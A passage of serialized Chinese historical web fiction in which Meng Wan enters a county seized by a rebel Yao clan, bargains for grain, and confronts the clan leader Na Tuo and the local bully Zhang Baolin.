瑶族各个小山寨之间的距离都不算远,平时过年过节是互通的,其他寨子也有自己的亲人往来。但他们基本都是族内通婚,很少嫁娶禹国百姓,相互之间也算和平。 可从去年开始,瑶族中一个叫风仝寨的寨子不知发什么疯,突然开始攻击周边其他瑶寨,大家猝不及防下,竟然还真被风仝寨攻破了几座寨子。 不过很快,最大的燕林寨就反应了过来,迅速集结其余寨子反抗。 PC站点如章节文字不全请用手机访问 本来这是好事,但两个大寨子动刀动枪,底下的小山寨却遭了殃。 兰朵所在的平沺寨便挨着燕林寨,被燕林寨的瑶长找上了门,总体就一个意思,要么主动加入他们,要么就先把他们寨子灭了再说。 那些大山寨加入就算了,还会在燕林寨的瑶长面前受到礼遇。可平沺寨只是个寨子内仅有两百户人口的小寨子,其他小山寨加入燕林寨的下场就是被当成先锋和炮灰,他们都是知道的啊! 反抗又反抗不过,加入又是个死,平沺寨陷入了两难的境地。兰朵阿爹建议他们瑶长向县衙求救,结果被拒绝了。 “这是我们瑶族自己的事,为什么要向禹国人求救?要是禹国官府将那些山寨的人都抓起来该怎么办?” 这是平沺寨瑶长的原话,这位老好人瑶长连自己寨子里的人都快保不住了,还操心那些凶残的同族呢? 孟晚一阵无语。 “我阿爸觉得光在寨子里干等很危险,就送我和兰山下山来,让我们找宋亭舟帮忙。”兰朵从黄叶手中接过吃饱肚子就开始犯困的儿子兰山,轻轻拍打起来。 孟晚劝兰朵,“他最近刚好不在家,不如你先在我家安顿下来吧,旁边就是客房,你可以先把孩子抱过去休息。” 兰朵摇摇头,“我出来有些日子了,不知道我阿爸他们在寨子里怎么样了,我要回去看看。” 本来她下山后去的是赫山县,但是走到一半突然遇到了一队商人,他们告诉她宋亭舟现在不在赫山县,而是在府城里。还好心的拉她一路,直到在郊外的什么工坊才离开。 兰朵担心她阿爸,是一刻都不想多待的。 孟晚思索片刻,“那这样吧,我随你去一趟瑶寨附近的县城,在吩咐县衙的人派兵去将你家人救出来。但这样一来,你们暂时就回不到瑶寨去了,我会找地方给你们在府城安家,这样可以吗?” 兰朵感激的不住点头,“可以,只要我阿爸和山虎他们能活下来,去哪里都行!” 孟晚果断的说道:“事不宜迟,我们现在就出发黑叶县。”正好和他此行的目的相同,就当是还他家的救命之恩了,但愿兰朵的家人能相安无事。 吩咐朱颜他们准备了些尿布、小衣服和藕粉给兰朵,又多备了辆马车给她们母子乘坐,孟晚又带阿砚重新上了马车。 “阿爹,那个小弟弟是谁?”阿砚遥望后面跟着他们的马车,里面虽然没有孟晚乘坐的马车宽大,但也铺了厚厚的垫子,兰朵的儿子兰山躺在里面睡得香甜。 孟晚斜倚在储物的木箱上,顺手掏出块酥饼给阿砚,“是个出生在山寨里的小孩,他叫兰山。” 阿砚自己拿着小筐接着吃酥饼时弄掉的碎渣,不解的问:“那他为什么和他娘要跟着我们?” 孟晚看他吃的香,又掏出一块酥饼来和阿砚一起吃,“因为他们家里出了很危险的事,需要我们帮助。” 阿砚小嘴巴巴不停,“我们为什么要帮他们?” 孟晚的耐心已经被磨到边缘,他勾起一个无奈又带着点纵容的笑,“问得好儿子,因为她们帮过你爹一个很大的忙,所以我们要在保证自身安全的情况下,稍微帮他们一把。但如果是陌生人要你帮忙,阿砚会帮吗?” 阿砚斩钉截铁地说:“不帮!阿砚只是宝宝!阿砚只会次饭饭!” 一旁坐着打盹的黄叶被他脆生生的调门吵醒,迷迷糊糊的说:“小公子要吃饭?我去给他冲一碗藕粉来。” PC站点如章节文字不全请用手机访问 第37章 张宝霖 既然正事又多了一件,便不能简单抱着游玩的心思,孟晚走之前又让雪生去苗家叫上了阿寻。 怕黑叶县的知县会阳奉阴违,还从府衙里叫了十来个衙役跟他同去,一来可以护送他们,二来还能充充门面。 黑叶县盛产荔枝,算是西梧府比较富裕的县了。当然,那是在孟晚没去赫山县之前,如今在赫山县面前,其余几个县城都是弟弟。 孟晚这次来,也是想从黑叶县谈上几笔荔枝的买卖。他先从果农这里谈好价格,不必垄断,只需将价格控制在成本之内。在刨除运费、人工、玻璃、材料等费用还有得赚的前提下,抬一抬当地果农的价格。 其他商贾看在他的面子上,被迫提价也会敢怒不敢言,孟晚现在有这份底气在身。 孟晚建的商站因为要运输货物,所以大部分都是建立在城门附近,好方便空出大量空地来装车。 孟晚琢磨着进城定是要先去自己地盘上看看,问问当地管事听没听说附近瑶族内乱的事,没成想擦着黑刚一进城,就被人拦住了车辆。 “你们是什么人?叫车里的人都下来检查!” “夫郎,不对劲。”雪生的声音从外面传来。 孟晚掀开车帘一角,见城门内守门的士兵虽然穿着守门兵的服饰,但头上却不伦不类的带着黑底蓝边的帽子,说出的官话也是同兰朵一样带着瑶族话的特殊腔调。 孟晚悄无声息的放下车帘,他们进城后,身后的城门便已经关闭,如今的样子像是瑶族人掌控了县城,这就有些难办了…… “阿爹!”阿砚喊他,好奇的问道:“我们为什么不走了?是到了吗?” 孟晚将食指竖在唇前,“嘘~阿砚,一会儿不要叫我阿爹。” 阿砚眼神灵动的看着他,似乎很是不解,“那阿砚要叫什么?” “叫哥。”孟晚将自己浓黑的头发全部放下,拿银簪分开上下两层,再将上半层挽成一个年轻样式的发髻,用银簪固定住。 阿砚迷茫的看着他这一套行云流水般的动作,“……哥?” “真聪明。”孟晚摸了摸他滑溜溜的小脸蛋夸赞。又叮嘱黄叶和阿寻几句,留下他俩和阿砚在车上,主动下车去。 他下去第一件事就是给领头的衙役使了个眼色,然后从善如流的对守门并说:“不知官爷这是什么意思,我们余家往日来黑叶县做生意都是无人拦截的。” 衙役们瞬间领悟了孟晚的意思,雪生默默的站在孟晚身后。 像是看出他们一行人不像善茬,守门兵们面色不似刚才一般凶悍了。但口中还是不客气的说:“什么余家,没听说过,你们说清楚要去哪个铺面做生意。” 孟晚指了指前面不远处的商站,上面挂着“石见驿站”的招旗,“我家有一批货物要运,想去里面谈谈价钱。” “你们不是府城来的吗?怎么跑黑叶县来运送东西?”其中一个守城兵说道。他们一行足有十三四人,和孟晚这边的人数相当。 但城墙的垛口上头却至少有三队弓箭手在轮流巡逻,天色太暗,看不清上面的人穿着打扮,只觉得弓弩不似寻常士兵用的步弓,反倒像是抓捕猎物用的猎弓。 孟晚不动声色地收回目光,语气淡然地解释道:“官爷误会了,我们不是从府城往外运货,而是想从黑叶县往府城运。” 守城兵对这些生意人做买卖的事一窍不通,又见孟晚说话有理有据,不见心慌的样子,挥挥手道:“那你们过去吧。” 孟晚脸上终于泄出一丝笑意,一行人与守城兵们擦肩而过时,孟晚锐利的目光扫过衙役们,示意他们按捺住不许动手。 衙役们你看看我,我看看你,还是将马侧的长刀藏好,木着脸跟随马车往商站的方向走去。 越往街上走,越能发觉出情形不对,还没到宵禁的时候,街上却半个人影都没有。只有街角偶尔有队伍路过巡视,穿的还都是瑶族的服饰。 孟晚重新爬到马车上,先掀开帘子看了阿砚一眼,阿砚躺在里面吃果干,回他一个软乎乎的笑。 孟晚也轻声对他笑了一下,这才放下帘子看向商站大门,“雪生,你去叫门。” PC站点如章节文字不全请用手机访问 “是,夫……公子。”雪生话说到一半拐了个弯,心里又默默熟悉了一下这个新称呼,后才跳下车辕去叫门。 刚开始门内并无应答,雪生怕耽搁久了被守城兵和巡逻人察觉到异样,又压低声音喊了句,“孟东家,开门!” 里面才传来微弱的回声,“哪个孟?” 雪生回:“府城来的。” 里面的门被打开一个小缝,雪生在黑暗中将自己随身带的匕首抵在门缝里。 石见驿站里的人却没发现他的小动作,正小心翼翼的从缝隙中往外瞟,见到半披散头发的孟晚,瞬间眼冒泪花,“东家,你可来了!” 孟晚见他一把年纪看到自己还表现的这么肉麻,眼睛里像冒着星星似是,不免恶寒,搓搓手背低喝一句,“小点声,先放我们进去。” 管事忙将门打开,迎众人进去。驿站是个两进的大宅子,除了门房外,二进还有一排房间,中间本该是厅堂的地方被打空,留出足以容纳三辆马车并排通过的空地。后院的一排房子则全是库房,门窗宽大,高度也比普通的房屋更高。 驿站的图纸是孟晚自己画的,其他驿站也都是这个户型。 黑叶县的管事姓梁名守真,此人算是孟晚亲信,从琉璃坊被调过来的,只是暂时监管黑叶县的事,调教调教新管事,等年底还会回到琉璃坊,谁知道这么倒霉,才来半月黑叶县就变了天。 这会儿乡下的果子还没开始往上收,驿站里不算太忙,人手也还没招齐,只有二十来个工人,这会儿都挤在后面角落的一间库房里,惶恐不安的从窗户缝隙往街道上看。 黄叶先带兰朵母子俩从二进的房间里找出一间还算干净整齐的,兰山太小了,一路舟车劳顿急需休息。 阿砚则跟着孟晚好奇的打量周围环境,管事的把众人领到二进的一间堂屋,算是平时会客的地方。 孟晚坐在上首位置,和平时在家的样子不同,一手撑在桌面上,一手把玩腰间的玉佩,状似桃花的双目里坚定的像出鞘的剑,透着摄人的威严。“说吧,到底怎么回事?” 阿砚还没见过孟晚这个样子,好奇的看阿爹一眼,再看一眼。 阿寻怕他捣蛋,将他带到一旁小声哄着。 梁管事自孟晚来了便如同有了主心骨,絮絮叨叨的将黑叶县发生的事全说了。 原来早先瑶族人内乱,因为离黑叶县近,是有风声传到县城里来的,但大家都没当一回事。甚至还有闲心看热闹,谁知道打着打着人家就打到了城里来。 黑叶县没有县兵,光靠一百多号衙役和捕快根本无力抵挡。而且这些衙役捕快们平时吓唬吓唬老百姓还成,真遇到杀红了眼的瑶族人简直不堪一击。 黑叶县知县被打的猝不及防,还没来得及向府衙发出求救的消息,人就直接被囚禁了起来。 “县太爷被抓了,那些瑶族人占领县衙,城里都乱了套,大家谁也不敢出门。”梁管事现在说起来还心有余悸。 孟晚蹙起英气的眉,唇瓣抿成一条直线,“打从发现瑶族内乱便该警惕起来,竟然打到家门口才知道,这几个县的县令真是安逸惯了,没一个靠谱的。” 宋亭舟去了德庆县办案,还不知道多少时日才能回来。闹到现在这个份上,黑叶县知县难逃一死。瑶族的事,万万不能让其从黑叶县扩大开来,不然宋亭舟也要担责。 他打发了梁管事,让对方先安抚住人心。瑶族人占领县城后只是关关门,应当不会伤害城中百姓,老老实实的待在驿站里,等着事情平息再回家,万万不可轻举妄动。 孟晚琢磨着这群瑶族人人傻瘾大,极有可能是在寨子里杀红了眼,便以为自己能当山大王了,都不用惊动地方总兵,府兵出动便能将他们打回山里。 就怕他们一时上头,轻松打下了黑叶县后又去攻占其他地方,那才是麻烦了。自己一定要拖到宋亭舟带府兵前来。 “雪生,你……”孟晚想叫雪生去府城报信,他身形轻盈,脚程又快。但一想他和阿砚留在县城,身边没有个值得信任的高手还不行。 雪生不明所以的看着孟晚,等着他吩咐。 孟晚从椅子上起身,“算了,我若是接连七八天没有音讯,夫君定能察觉到异样带人过来,今日先安顿下来,你夜里警觉一点。” “夫郎放心,我定保护好你和小公子。”雪生平凡的脸上是一如既往的可靠姿态。 PC站点如章节文字不全请用手机访问 孟晚居住的地方已经被黄叶收拾好了,就在兰朵母子的隔壁,里面放了两张木板床拼接起来的大床,被褥是家里带来的已经被黄叶铺好。 这间屋子很大,还分里外两间,靠门的地方也从其余房间搬过来了两张床,分别给黄叶和阿寻住着。 条件有限,众人擦洗过身子之后,黄叶简单的蒸了锅精米粥,又炒了两盘子青菜,大家糊弄这吃了一顿。 兰朵吃饭时欲言又止,她想对孟晚告辞,带兰山回到平沺寨去。 “你别急,我想办法陪你回瑶寨看看。”孟晚将碗筷放下,顺带拿起帕子给阿砚擦了擦嘴。 “可我们寨子现在还不知道是什么情况。”兰朵自然愿意,但她更怕孟晚会因为她而受到什么伤害。 孟晚对着她忐忑不安的脸,安抚一笑,“安心,我既说了要帮你,又怎么会食言呢,一切等有机会进山寨再说。” 后半夜雪生拿着孟晚给他的腰牌出去了一趟,凌晨天还没亮就带回了一个消息。 “夫郎,黑叶县的黄知县果然被关在了地牢里,瑶族人守备不严,当下应该没有性命之忧。”雪生摘下脸上蒙着的黑布塞到怀里,回禀孟晚道。 孟晚冷笑,“这次就算瑶族人不杀他,朝廷也会定他的罪。” 若是自己能稳住阵脚等宋亭舟前来救援,黄知县还能保住一条小命,被罢黜是最好的局面。若是局面难以控制,第一个死的就是黄知县,因此他现在绝对是最心急的一个。 “他怎么说?”孟晚这边问着雪生,那头已经嘱咐黄叶赶紧弄点吃的给他,大半夜出去怪耗神的,一会该让雪生吃点东西休息下。 雪生确实有点累了,他坐在孟晚对面的椅子上说:“黄知县说打进县城里来的是白云山风仝寨的人。” 孟晚看着雪生没眨眼,五息之后他难以置信的说:“就这?没了?” 雪生点点头,“黄知县只知道这么多。” “哦,还有,风仝寨的头人名字叫那拓。”雪生又补充了一句。 孟晚嘴角一抽,“他能被抓还真是一点都不冤。”纯纯的大废物。 “别人口中可打探到什么有用的消息了?”孟晚不死心的又问。 雪生带来一个比黄知县智商还奇葩的消息,“我听几个被抓的衙役说,黄知县的小舅子张宝霖现在是风仝寨头人面前的红人。”他们生死未卜,每天连瑶族人说的话也听不懂,见到雪生问自家知县的话还以为有救了,哭爹喊娘的差点将瑶族人引来。 阿砚可能是被他们说话的声音吵醒了,哼哼唧唧的想哭,孟晚走过去轻拍了两下,喃喃道:“黄知县小舅子?张宝霖?我怎么觉得有点耳熟?” 黄叶提醒他,“夫郎,是不是当时咱们还在赫山县的时候,有人到藕坊闹事,那群人好像就是黑叶县的人。” 孟晚瞬间想了起来,当初张宝霖还被宋亭舟关了小半年,黄知县赔着笑脸找来也没用,最后还是等刑期满了才被放走的。 他倚在床边看雪生端着碗小声吃面,推断道:“那种小混混竟然和瑶族人搅合在了一起?这次黑叶县被攻破该不会是他和瑶族人里应外合吧?” 黄叶才做的面条,里头还卧了两个荷包蛋,雪生一口一个蛋,肚子里有了底子。他否决了孟晚的话,“不是,黑叶县的衙役说,是县城被风仝寨的人占领后,张宝霖才扒上那拓的。” PC站点如章节文字不全请用手机访问 第38章 买粮 张宝霖的事给了孟晚一个新奇的思路,对方一个小混混关键时刻竟然能抱上风仝寨的大腿,那他若是能在其中搅和搅和不是更加容易? 黄叶面条下的多,他也跟着吃了一碗。雪生回房间补觉,他便坐在阿砚床边发呆。 早知道就不在家偷懒了,也和宋亭舟去德庆县玩多好。 想想他又笑了,算了……他要是不来,待事态严重,宋亭舟处理起来会更麻烦,这样好歹能帮上些忙。 “阿爹~”床上的阿砚哼哼唧唧的睁开眼睛。 孟晚探下身子亲了口他带着奶香味的脸颊,“起来了大宝,要不要嘘嘘?” 阿砚上半身穿着绸缎缝制的斜襟绑带上衣,下半身光着小屁股,他散着半长不短的头发从被子里坐起来,懵懵的看着孟晚,“哥……哥?” 听到动静拿着尿桶和水盆进来的黄叶扑哧一声笑了,“小公子快起来,你阿寻哥哥还在厨房等着你一起吃饭呢。” 黄叶帮阿砚换了身干净的新衣,又带着他刷牙洗漱后去厨房吃饭。驿站里没有正经的厨房,只是角落处搭了个草棚,几人糊弄着吃了顿早餐。 可他们只带了一布袋的米和面,路上还吃了一些,后面可还有二十来号驿站工人在的,就是他们吃的再少,这些米面也仅够大家吃个三四天。 “黄叶,煮两锅稀粥吧,叫后面的人都过来喝一碗,我去外面想想办法。”孟晚将米分出来给工人们,面放到自己卧室里以备不时之需,什么时候都不要考验人性,若是他们真的饿出个好歹,驿站里肯定是要流血的。 等黄叶煮完粥,孟晚抱着阿砚和阿寻走在前面,雪生紧紧跟在他们后面,这种时候他儿子交给谁他都不放心,自己贴身走哪儿带哪儿。 他们推开驿站的大门出去,清早天空雾气蒙蒙,站一会儿衣服上便开始泛起潮意,像是下了场小雨一般。 驿站外面的街上静悄悄的,偶尔有人小心翼翼地推开门,踮着脚尖往南跑。 “我们也过去看看。”孟晚当机立断的说。 人在生存艰难的时候哪怕衣不蔽体也能活下来,面子远没有生命重要,但唯独不可缺少的便是食物和水。那些人聚集之处八成是个粮店。 小城市的店铺之类就像肉摊子,大家基本上都开在一处,不是为了竞争生意,而是方便买肉买粮的人往一块跑。从前常金花带孟晚赶北方的集市时也是这样。 他们跟着零星敢出门的人往前走,果然找到两家对着开的粮店,里面已经有不少人了。少部分是真的没有粮食被迫奓着胆子出门的,大部分是怕被困的时间长,未雨绸缪跑来屯粮。 现在时间太早了,等一会儿更多人反应过来,粮店门口恐怕会更加热闹。 “雪生你去,买上六斗米来,我们买完就走。”孟晚递给雪生一个钱袋子。 雪生接过钱袋,一入手坠的他手发沉,讶异的看了孟晚一眼后他并未多问,转身挤进了粮店里。 片刻后,雪生拎着钱袋子出来,手中并无粮食,他面上罕见的带了丝恼怒,“夫郎,粮店掌柜刚开始说精米二十文,糙米十四文。见买的人多,又突然说要等他们东家起床在议价,暂且不卖。” 平常的时候糙米也就只需四文一斤,这会儿大家都是按斗买,别看涨到十四文看似很便宜,买上两斗就比正常价格多出上百文。 孟晚早有预料粮店会涨价,也多给雪生备了钱,没想到就这样粮店的东家竟然还不满足。 他叹了口气,不太意外这个结果,“走吧。” “孟……哥,那我们要再打听打听其他粮店吗?”阿寻好奇的问。 孟晚头都没回,“不看了,我们去找处酒楼买粮。” 阿寻转念一想,“咦?也是啊,酒楼应该也会多备粮食,就是不知道他们会不会卖。” 孟晚眼睛在街边巡视,“酒楼和粮店不同,拉的的回头客,人情大过买卖,他要是敢学粮店涨价,等日后黑叶县平安无事了,他这间酒楼也开不下去了。” 正说着,前面就出现了一座两层高的酒楼,孟晚领着雪生他们上前。 门是半掩着的,一推就开,大厅里的长条板凳还倒放在桌上没拿下来。两个打杂的店小二和一个厨子,各自在厨房摸了把菜刀,心惊胆战的对着门。 孟晚温和一笑,“小二,点菜。” 店小二见他们不是瑶族的人,出行还带着孩子,紧绷的心神瞬间松懈了下来,“几位,外头都乱成什么样了,你们还有心思下馆子呢?” 雪生自顾自的搬了条凳子下来让孟晚坐下,孟晚坐下后云淡风轻的说:“民以食为天,万一那些瑶族人要在城中胡乱杀人,也要做个饱死鬼吧?” “这……”店小二看看厨子,“刘哥,要不您给做一桌?” 厨子也是个性情中人,“做就做,小哥儿说的也对,城也出不了,家又回不去,还不如做个饱死鬼。咱们也都没吃饭呢,哥仨也吃点喝点,想吃什么什么和哥说!” “我想吃八宝酿鹅!” “刘哥我吃蒸肉!” 他们不易见荤腥,自然都想吃肉。 孟晚跟着店小二点了这两道菜,又点了两份肉饼,其中一个小二到后厨给刘哥打下手去了,剩下这个秉承服务行业精神,还给孟晚他们一行人泡了两壶茶水。 “小哥,你可知道瑶族人到底是哪天打进城的?”孟晚给他塞了把铜板,邀他坐下一起喝茶聊天,不管什么时候,钱都是好东西。 小二推脱两句,不好意思的坐下了,“小哥儿还真算是问对人了,瑶族人打进城就在前天,当天我们店里生意爆棚,那群山民手持长矛就杀了进来,吓得客人们四散而逃。” “前天啊。”孟晚手点桌面。 驿站的黄管事和他说驿站是昨天才知道出事的,之前忙于在站内培训工人,并没有发现什么异常。也就是说这帮瑶族人虽然来势汹汹,但并没有对县城的百姓造成什么伤害,这也算是不幸中的万幸了。 接下来小二说的话也证实了这一点,“他们闯进我们店里后倒是没有喊打喊杀,只是将客人都赶走后大吃了一顿。不光我们酒楼,其余酒楼、小摊贩、甚至早点铺子都是如此,吃完嘴巴一抹就走了。” 赔些菜钱东家虽然心疼,但他更怕没了命,等人走后赶紧就跑了。酒楼里除了东家外,掌柜的和几个厨子在城中都有宅子,再不济还有几个店小二寄住到亲戚家里了。就剩他们三个家住在附近村庄回不去,只能守在铺子里担惊受怕。 了解了个大概,孟晚又问道:“那个张宝霖又是怎么回事?” 店小二从后头端上来一盘水煮花生,逗弄着抓了一把放到阿砚面前,被雪生不动声色的往旁边挪了挪。 “您还知道张宝霖啊?那就是我们黑叶县的大流氓!” 店小二忿忿不平的说:“在城里招猫逗狗,连老人孩子都欺负,来我们店里吃饭,十回里有八回都不给钱!” 孟晚眼底掠过一丝浅淡的惊讶,“呦,怎么还知道掏两回饭钱呢?” 店小二往嘴里扔了两个花生,满脸不屑,“我们东家又不是好惹的,他是县太爷的小舅子,我们东家也和县太爷沾亲带故,若他一味白吃,我们东家能去县太爷家里要钱。” 闻言孟晚眉间几不可查地挑了一下,看来这个张宝霖确实有几分小聪明,还知道擦着人家底线行事,知道什么人好惹,什么人不好惹。怪不得能凑到风仝寨头人身边。 他又向店小二问了几句,菜也陆续上桌。两个小二和厨师坐了一桌,上头三四样肉菜和一大盆精米饭,大早上吃着也不嫌油腻,三人满口喷香。 孟晚他们早上刚吃过了饭,都不算太饿,只有阿砚因为刚睡醒没胃口,在驿站时吃得较少。雪生又陪他慢慢啃着肉饼。 人家一大早就接待了他们,忙活了一早上好不容易吃上饭,孟晚无意打扰,只等他们快吃完的时候再说买米面的事。 “小二!要死了,大白天关哪门子的门?”客栈外传来一道张扬的声音。 这个时候还敢在街上大喊大叫的,不是瑶族人,就是风仝寨的狗腿子。 孟晚他们干脆利落的起身躲到了厨房里,还没忘将阿砚和雪生的碗筷拿走,菜也端的七七八八。 店小二以为他们是害怕瑶族人闯进来,但一想来人,觉得比瑶族人好不了多少,配合的把剩下的两道菜端到他们自己桌上。 “吱呀”一声,酒楼大门被店小二从里面打开,迎进来一个穿着靛蓝色瑶族对襟上衣和长裤的男人。 瑶族人的服饰本来是淳朴热烈的,被这个男人穿在身上只觉得不伦不类,气质猥琐。 他进来后目光在酒楼厅堂里扫了一遍,嘴角撇着,不是自然而然的放松,倒像是刻意抿出一条纹路,带着点算计似的。 “呦呦呦,你们东家才几日没来,养出你们几个内贼来了?” 店小二忙解释,“张爷,小的们这是,这是……”他也不知道怎么编,刚才豪气的点菜是一回事,真被人抓到把柄捅到东家那里又是一回事。 张宝霖没理他,从盘子里捏了块鹅肉,大清早他也吃不进去,不顾另外三人可惜的目光,嫌恶的扔到了地上,“今天晚上那拓大王要来你们店里吃饭,好吃好喝的都拿出来招待。” 他话说一半,语锋陡然锐利起来,“但若是敢耍什么花招,你们家住哪村我也是一清二楚,到时候可别给脸不要脸!” “是是,张爷您放心,小的们肯定好好招待。” 酒楼里的厨师还好,两个店小二平时没少在张宝霖这里受气,但没办法,人家之前是县太爷小舅子,如今又是瑶族头人面前的大红人,除了赔笑,拿他没有半点法子。 张宝霖十分享受旁人恭维他的模样,脸上带着不屑的嗤笑了一声。霸道嚣张的来,最后又慢慢悠悠的踏步离开。 他走后孟晚等人才从厨房里出来。 小二不好意思的说:“公子,实在是不好意思,天亮了,店里随时会来瑶族人,小的们不好再多留几位了。” 孟晚原本的目的就不是过来吃饭,他指指厨房的方向,“几位大哥,我见厨房里好像备着多余的米面,能不能均给我们一些?” 店小二愣住了,显然没想到他突然说要买粮食,买粮食不应该去粮店吗? 厨师在一旁出声,“公子,要是平时你买了也就买了。刚才你也听到了,瑶族人晚上要来吃饭,厨房里备着那些,今天晚上都不知道够不够用,一会我们也要去粮店采买。再说过一会儿估计我们掌柜和东家也会回来,到时候我们仨说话也就不好使了。” 孟晚脑子转的飞快,他双倍付了菜钱放到柜台上,“大哥说的我懂,我也没有要为难你们的意思,只是你们若是去粮店买粮,能不能将我也带过去?就说咱们是一块的。” 三人相互望望,“这倒是没什么……” “那事不宜迟,咱们现在就去吧!”孟晚趁热打铁的说。 稀里糊涂的和孟晚一起来到粮店,这功夫两家粮店里已经堆满了人。大多数人都因为买不到粮在门口满脸愁绪的徘徊,就算有小部分人咬着牙买上小半袋糙米出来,脸色也不算好看。 “怎么这么多人啊?咱们进去还能买得到粮吗?”酒楼小二踌躇不定。 孟晚留下雪生等人看顾阿砚,自己走到店小二前头,扬着声儿道:“都让让,我们汇翠楼要买精米了。” 粮店老板在店铺里听见眼前一亮,来往都是买糙米的,精米可是头一遭啊!他定要大赚一笔! “客官快这边请,咱们店里的精米可都是从临安府运过来的,您尝尝这米,闻闻这米香。” 孟晚装模作样的抓了一把米,捻了一粒放到嘴巴里,“嗯,不错,怎么卖的?” 粮店老板眼睛眯成一条窄缝,手指一撮,扬起拇指和食指比了个八。 孟晚歪头,明知故问的说:“八文钱一斤?倒也算公道。” 粮店老板笑意微收,“小哥儿看错了,不是八文,而是八百文。” “什么?这么贵,你怎么不直接从我兜里抢钱!”孟晚激愤的说。 粮店老板彻底没了笑脸,“咱们城里如今是什么光景小哥儿也看到了,八百文也就是现在,谁知道明天我还会不会涨,小哥儿若是不买,自然有旁人来买。” 见他不再装了,孟晚也冷笑一声,“呵,掌柜的恐怕还不知道我们汇翠楼为何大清早过来买粮吧。” 粮店掌柜背过身去,“谁不是大清早来的,我管你们汇翠楼为何。” 孟晚不咸不淡的说:“晚上风仝寨的头人可是要带人来我们酒楼吃饭,我们这才早早过来买粮,你不卖不要紧,我们可以去对面粮店去买,只是等那拓大王来楼里吃饭,可就不保证我会不会说些什么了。” 他说完脚步原地一扭,只走出一步,身后就传来粮店老板堆着笑的呼声,“小哥儿,欸,等等别走,咱们有事好说啊!” 第39章 那拓 “谈谈?好啊,八文钱一斤。” “小哥儿,再商量商量,好歹让叔赚上一些,二百文怎么样?” “八文。” “你们汇翠楼的东家也不是差钱的,一百文,一百文如?” “八文。” “小哥儿你!” “十文。” “哎呦,真是要了人老命了,二十文,二十文成不成?”粮店老板想硬气的说一句二十文还不行我不卖了,让什么那拓找我来! 但终究没胆子将这番话说出来。 孟晚没有什么买到便宜货的明媚心态,要不是为了安抚人心,二十文他还嫌贵呢。 店小二跟在他身后不在状态,人由他和粮店老板你来我往,都看呆了。汇翠楼后赶来的掌柜的看出苗头也不吱声,安安静静的看孟晚砍价,砍完了麻溜上前付账。 最后米店的几个伙计用推车推到酒楼里六百斤的精米,孟晚等人走后同汇翠楼掌柜交了底,说自己是石见驿站的人,给了米钱,分了二百斤米叫雪生扛回驿站去。 这些米被雪生直接扛到厨房,沉甸甸的往地上一放,“砰”地一声砸起一地米灰。却无人嫌弃,只觉得一直七上八下的心突然落了地。 孟晚提了个大篮筐,“我在汇翠楼打包了一些肉菜,不算多,你们一人沾口荤腥也够了。中午蒸干饭,在炒上几个菜。大家不必恐慌,粮食管够,安心在驿站里守上几天,等事情一了,下月结工钱的时候每人多发上五百文。” 他话语里带着令人信服的力道,再加上摆在众人面前的精米,惶惶不安的工人们终于安下了心。他们交头接耳,眼神里的焦虑慢慢消散,有会做饭的已经自发忙活了起来。 孟晚放雪生回去好好休息,雪生的武力值是他敢在县城游走的底气,他和阿砚走到哪里雪生都要跟着,晚上没准会有其他变动,白天大家尽量都养精蓄锐的好。 入夜,孟晚估摸着时间已经差不多了,让雪生抱上阿砚,带着医者阿寻,四人往白日去过的汇翠楼走去。 街道上一片寂静,酒楼外挂着灯笼,照应着一楼二楼灯火通明的生意。 放往常汇翠楼的东家看到这般情景,定是要笑的嘴都合不拢,现在却连面都不敢露,只把管事的推出来担待。 不光因为他一分钱都挣不来,还要倒搭钱。更主要的是,汇翠楼这会儿楼上楼下吃饭的客人都是瑶族人,攻下黑叶县的风仝寨头人正坐在大堂里和兄弟们喝酒吃肉。 就算他来了,也要点头哈腰的伺候着,还不如在家躲着,祈祷朝廷的兵马赶快将这群野蛮人打回山里。 东家不来,汇翠楼掌柜苦哈哈的在柜台后擦桌子,目不转睛的盯着手里的抹布,好像那不是块抹布,而是一根金灿灿的金条。 “掌柜的,吃饭。”孟晚再次踏进门,说出和上午一样的话来。 本来热热闹闹的大堂突然安静下来,落针可闻。那些畅快喝酒,狼吞虎咽的往嘴巴里塞菜的瑶族人扭头看过来的时候都有些没回过神。 倒不是孟晚相貌绝伦到惊呆所有人,而是汇翠楼里起码聚集了三四百个瑶族人,无一不是汉子,放平常都已经很能唬人了。现在满城的人都龟缩在家里不敢露面,这么个小哥儿竟然敢带着孩子过来下馆子?怎能不令人侧目? 早上接待过孟晚的两个小二正在忙活着上菜,见形势不对一个劲儿的给他使眼色。 孟晚淡定的走到柜台处,假装不认识上午才见过面的掌柜一样,“掌柜的,楼上可有雅间?” 掌柜的弯腰捡起掉在地上的抹布,“没……并无,楼下楼上都坐满了客人。” 他用眼神暗示孟晚看看坐在大堂吃饭的都是什么人。 孟晚就像是看不懂人眼色的木头,被拒绝后仍然执着的问:“那不知楼上的贵客能不能跟我拼个桌?” “你是什么人?” 楼下不同寻常的安静到底是被楼上的人察觉,几个身材高大的男子从木制楼梯上走了下来。 为首一人身材健硕,穿着蓝黑色无袖对襟上衣,下面则是深蓝色的长裤和鞣制过的皮靴。 腰间精瘦,臂膀上是鼓鼓囊囊的肌肉,再往上是一张充满野性的脸。线条硬朗,眉峰鼓起,唇色极深,眼神似狼。 毫无疑问,他就是风仝寨的头人那拓,一个看上去相当阳刚硬朗的年轻男人。 他和其他几个寨子里同样高大的头人走到大堂后,才能看到后面跟着的张宝霖,他狗腿子做的非常敬业,追上那拓后第一个跑到前面,耀武扬威,“怎么回事……你……你……你是!”他哆嗦手指着众人目光所向的孟晚。 曾经在赫山县被一群女娘小哥儿暴打的经历突然又涌入脑海,叫董懂当着众人面一巴掌接一巴掌羞耻感令他气血上涌,一瞬间脸红的像一头被激怒的蛮牛。 在他即将开口道出孟晚身份的瞬间,孟晚突然后知后觉的说了句,“啊,这里的瑶族人这么多啊?” 这句寻常的话,落在有些小聪明的张宝霖心里像是被惊雷劈了一样。 刨除留守在风仝寨的人,当下这几百个瑶族人,算多吗? 哪怕将所有的瑶族人都汇聚到一起,也超不过一万,还是算上老弱病残的情况下,真正的战斗力只有几千而已。 别说上报给地方总兵,就是府兵都能将这群瑶族人赶走,现在他们只是占了个突袭的先机,消息还没能传到府城而已。 张宝霖不自觉的咽了口口水,他见过那位新上任的知府大人,虽然当时对方还不是西梧知府,但手段和威望已经传遍西梧府各个城镇。 若是等对方反应过来,知道自己的夫郎在黑叶县出了事…… 张宝霖头皮发麻,他是可以报了仇折磨这位孟夫郎,但他全家老小不会全被拉去砍头吧? 他只思考一秒就有了答案——会。 赫山县菜市口的血几年都没被雨水冲刷干净,他的血又将会重新撒染西梧府的菜市口。 